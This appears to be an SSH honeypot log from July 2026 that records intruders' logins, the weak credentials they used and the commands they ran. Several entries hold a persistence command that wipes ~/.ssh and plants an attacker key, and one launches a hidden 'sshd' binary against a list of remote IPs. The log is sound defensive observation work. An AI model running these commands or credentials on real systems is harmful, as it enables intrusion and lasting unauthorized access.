Adversarial Observation Interface

195.178.110.137

2026-07-07 06:22:39.305381 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / admin

Record ID: 04621f61fcb0

Client Version: SSH-2.0-Go

Engagement Duration: 1.3s

HASSH Fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba

{
  "id": "04621f61fcb0",
  "src_ip": "195.178.110.137",
  "start_time": "2026-07-07T06:22:39.305381Z",
  "end_time": "2026-07-07T06:22:40.587933Z",
  "duration": "1.3",
  "version": "SSH-2.0-Go",
  "hassh": "bf7dbf67fa9b26ee9f9deb99c49320ba",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "admin"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

34.52.192.86

2026-07-07 06:14:12.065671 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: f24520731056

Client Version: SSH-2.0-Nmap_SSH2_Enum_Algos

Engagement Duration: 0.2s

HASSH Fingerprint: a20aced7c9824fd804f59e68dd801ad3

{
  "id": "f24520731056",
  "src_ip": "34.52.192.86",
  "start_time": "2026-07-07T06:14:12.065671Z",
  "end_time": "2026-07-07T06:14:12.268046Z",
  "duration": "0.2",
  "version": "SSH-2.0-Nmap_SSH2_Enum_Algos",
  "hassh": "a20aced7c9824fd804f59e68dd801ad3",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

34.52.192.86

2026-07-07 06:13:58.280780 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: d03817c0e437

Client Version: Unknown

Engagement Duration: 0.1s

{
  "id": "d03817c0e437",
  "src_ip": "34.52.192.86",
  "start_time": "2026-07-07T06:13:58.280780Z",
  "end_time": "2026-07-07T06:13:58.421699Z",
  "duration": "0.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

35.241.161.118

2026-07-07 06:12:25.011661 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / admin

Record ID: f1d062c729e8

Client Version: SSH-2.0-Go

Engagement Duration: 0.9s

HASSH Fingerprint: dde267e50f82fcc16a7e1e7b59b8af71

{
  "id": "f1d062c729e8",
  "src_ip": "35.241.161.118",
  "start_time": "2026-07-07T06:12:25.011661Z",
  "end_time": "2026-07-07T06:12:25.877088Z",
  "duration": "0.9",
  "version": "SSH-2.0-Go",
  "hassh": "dde267e50f82fcc16a7e1e7b59b8af71",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "admin"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

35.241.161.118

2026-07-07 06:12:24.590770 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: b67f5b415a97

Client Version: SSH-2.0-Fingerprintx-SSH2

Engagement Duration: 2.8s

HASSH Fingerprint: 4e066189c3bbeec38c99b1855113733a

{
  "id": "b67f5b415a97",
  "src_ip": "35.241.161.118",
  "start_time": "2026-07-07T06:12:24.590770Z",
  "end_time": "2026-07-07T06:12:27.434812Z",
  "duration": "2.8",
  "version": "SSH-2.0-Fingerprintx-SSH2",
  "hassh": "4e066189c3bbeec38c99b1855113733a",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

195.178.110.137

2026-07-07 06:12:20.220086 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 08b97d75fd2b

Client Version: Unknown

Engagement Duration: 0.1s

{
  "id": "08b97d75fd2b",
  "src_ip": "195.178.110.137",
  "start_time": "2026-07-07T06:12:20.220086Z",
  "end_time": "2026-07-07T06:12:20.370087Z",
  "duration": "0.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

103.161.16.196

2026-07-07 06:11:32.377637 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 90

Credential acceptance event recorded. Target authentication: root / ubuntu

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ chmod +x ./.3412407207364003674/sshd;nohup ./.3412407207364003674/sshd 38.134.255.32 46.101.230.61 211.155.100.9 106.75.216.134 160.250.133.77 187.141.210.92 45.118.144.36 114.218.57.21 148.72.168.29 222.170.175.95 170.84.39.236 115.190.155.149 203.189.196.168 106.12.127.43 101.96.202.189 77.246.111.220 122.193.64.145 46.101.107.202 138.197.163.192 44.223.67.30 113.31.104.188 43.226.36.171 103.161.16.196 175.6.36.228 149.129.236.37 39.175.51.58 103.121.91.144 177.70.2.194 221.2.109.10 160.187.174.22 116.171.167.70 31.169.127.177 45.126.120.53 31.47.51.212 103.28.16.162 36.163.199.22 183.224.79.111 172.245.43.228 112.28.209.101 84.32.131.227 103.165.11.113 45.195.83.7 161.129.211.56 125.93.252.89 46.101.196.16 45.55.30.94 161.129.211.63 120.193.9.167 27.156.98.194 220.182.61.204 122.228.86.100 &

Record ID: ea3525272ad2

Client Version: SSH-2.0-Go

Engagement Duration: 4m 56s

HASSH Fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6

{
  "id": "ea3525272ad2",
  "src_ip": "103.161.16.196",
  "start_time": "2026-07-07T06:11:32.377637Z",
  "end_time": "2026-07-07T06:16:28.716375Z",
  "duration": "296.3",
  "version": "SSH-2.0-Go",
  "hassh": "98ddc5604ef6a1006a2b49a58759fbe6",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "ubuntu"
  },
  "commands": [
    "chmod +x ./.3412407207364003674/sshd;nohup ./.3412407207364003674/sshd 38.134.255.32 46.101.230.61 211.155.100.9 106.75.216.134 160.250.133.77 187.141.210.92 45.118.144.36 114.218.57.21 148.72.168.29 222.170.175.95 170.84.39.236 115.190.155.149 203.189.196.168 106.12.127.43 101.96.202.189 77.246.111.220 122.193.64.145 46.101.107.202 138.197.163.192 44.223.67.30 113.31.104.188 43.226.36.171 103.161.16.196 175.6.36.228 149.129.236.37 39.175.51.58 103.121.91.144 177.70.2.194 221.2.109.10 160.187.174.22 116.171.167.70 31.169.127.177 45.126.120.53 31.47.51.212 103.28.16.162 36.163.199.22 183.224.79.111 172.245.43.228 112.28.209.101 84.32.131.227 103.165.11.113 45.195.83.7 161.129.211.56 125.93.252.89 46.101.196.16 45.55.30.94 161.129.211.63 120.193.9.167 27.156.98.194 220.182.61.204 122.228.86.100 &"
  ],
  "detailed_commands": [
    {
      "cmd": "chmod +x ./.3412407207364003674/sshd;nohup ./.3412407207364003674/sshd 38.134.255.32 46.101.230.61 211.155.100.9 106.75.216.134 160.250.133.77 187.141.210.92 45.118.144.36 114.218.57.21 148.72.168.29 222.170.175.95 170.84.39.236 115.190.155.149 203.189.196.168 106.12.127.43 101.96.202.189 77.246.111.220 122.193.64.145 46.101.107.202 138.197.163.192 44.223.67.30 113.31.104.188 43.226.36.171 103.161.16.196 175.6.36.228 149.129.236.37 39.175.51.58 103.121.91.144 177.70.2.194 221.2.109.10 160.187.174.22 116.171.167.70 31.169.127.177 45.126.120.53 31.47.51.212 103.28.16.162 36.163.199.22 183.224.79.111 172.245.43.228 112.28.209.101 84.32.131.227 103.165.11.113 45.195.83.7 161.129.211.56 125.93.252.89 46.101.196.16 45.55.30.94 161.129.211.63 120.193.9.167 27.156.98.194 220.182.61.204 122.228.86.100 &",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 90,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

192.168.0.1

2026-07-07 06:03:21.283292 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: cd57f3bf1c84

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "cd57f3bf1c84",
  "src_ip": "192.168.0.1",
  "start_time": "2026-07-07T06:03:21.283292Z",
  "end_time": "2026-07-07T06:03:21.298085Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

176.53.159.196

2026-07-07 05:48:43.374826 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: c696186d37c2

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "c696186d37c2",
  "src_ip": "176.53.159.196",
  "start_time": "2026-07-07T05:48:43.374826Z",
  "end_time": "2026-07-07T05:48:44.549037Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

205.210.31.215

2026-07-07 05:41:50.761710 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: c5606c18c709

Client Version: Unknown

Engagement Duration: 0.3s

{
  "id": "c5606c18c709",
  "src_ip": "205.210.31.215",
  "start_time": "2026-07-07T05:41:50.761710Z",
  "end_time": "2026-07-07T05:41:51.046690Z",
  "duration": "0.3",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

203.135.42.52

2026-07-07 05:20:11.051678 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 361d6a1430f2

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.7s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "361d6a1430f2",
  "src_ip": "203.135.42.52",
  "start_time": "2026-07-07T05:20:11.051678Z",
  "end_time": "2026-07-07T05:20:12.736216Z",
  "duration": "1.7",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

203.135.42.52

2026-07-07 05:20:08.151246 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: aea3bbf76f19

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.6s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "aea3bbf76f19",
  "src_ip": "203.135.42.52",
  "start_time": "2026-07-07T05:20:08.151246Z",
  "end_time": "2026-07-07T05:20:10.771064Z",
  "duration": "2.6",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

203.135.42.52

2026-07-07 05:20:04.786608 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / 1qa@WS3ed

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 5e233887b90c

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 7.9s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "5e233887b90c",
  "src_ip": "203.135.42.52",
  "start_time": "2026-07-07T05:20:04.786608Z",
  "end_time": "2026-07-07T05:20:12.727179Z",
  "duration": "7.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "1qa@WS3ed"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

59.16.212.232

2026-07-07 05:15:23.820477 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 183db5c37d42

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 0.9s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "183db5c37d42",
  "src_ip": "59.16.212.232",
  "start_time": "2026-07-07T05:15:23.820477Z",
  "end_time": "2026-07-07T05:15:24.761993Z",
  "duration": "0.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

59.16.212.232

2026-07-07 05:15:21.739786 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: a011ef1aa776

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.9s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "a011ef1aa776",
  "src_ip": "59.16.212.232",
  "start_time": "2026-07-07T05:15:21.739786Z",
  "end_time": "2026-07-07T05:15:23.673628Z",
  "duration": "1.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

59.16.212.232

2026-07-07 05:15:19.744859 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / new1234

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: febe7a8e6944

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 5.0s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "febe7a8e6944",
  "src_ip": "59.16.212.232",
  "start_time": "2026-07-07T05:15:19.744859Z",
  "end_time": "2026-07-07T05:15:24.758106Z",
  "duration": "5.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "new1234"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

185.242.3.195

2026-07-07 05:06:25.176066 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / QAZXSW

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo OK

Record ID: 2afb5fab45ac

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "2afb5fab45ac",
  "src_ip": "185.242.3.195",
  "start_time": "2026-07-07T05:06:25.176066Z",
  "end_time": "2026-07-07T05:06:26.337127Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "QAZXSW"
  },
  "commands": [
    "echo OK"
  ],
  "detailed_commands": [
    {
      "cmd": "echo OK",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

185.253.97.244

2026-07-07 05:05:06.269688 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: dbb4d4321f9b

Client Version: Unknown

Engagement Duration: 0.2s

{
  "id": "dbb4d4321f9b",
  "src_ip": "185.253.97.244",
  "start_time": "2026-07-07T05:05:06.269688Z",
  "end_time": "2026-07-07T05:05:06.482291Z",
  "duration": "0.2",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

106.13.30.117

2026-07-07 05:04:11.345212 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 9527c18d6fff

Client Version: Unknown

Engagement Duration: 0.2s

{
  "id": "9527c18d6fff",
  "src_ip": "106.13.30.117",
  "start_time": "2026-07-07T05:04:11.345212Z",
  "end_time": "2026-07-07T05:04:11.529428Z",
  "duration": "0.2",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

147.182.177.180

2026-07-07 04:46:27.198954 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: a0c82c8efc19

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 0.4s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "a0c82c8efc19",
  "src_ip": "147.182.177.180",
  "start_time": "2026-07-07T04:46:27.198954Z",
  "end_time": "2026-07-07T04:46:27.631220Z",
  "duration": "0.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

147.182.177.180

2026-07-07 04:46:25.709284 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: e889bd7476d6

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.4s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "e889bd7476d6",
  "src_ip": "147.182.177.180",
  "start_time": "2026-07-07T04:46:25.709284Z",
  "end_time": "2026-07-07T04:46:27.137365Z",
  "duration": "1.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

147.182.177.180

2026-07-07 04:46:24.765776 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / qwerty2

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 57ac2fbc2089

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.9s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "57ac2fbc2089",
  "src_ip": "147.182.177.180",
  "start_time": "2026-07-07T04:46:24.765776Z",
  "end_time": "2026-07-07T04:46:27.628212Z",
  "duration": "2.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "qwerty2"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

66.132.195.88

2026-07-07 04:44:24.255283 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: a8c54c5451ce

Client Version: SSH-2.0-Go

Engagement Duration: 16.2s

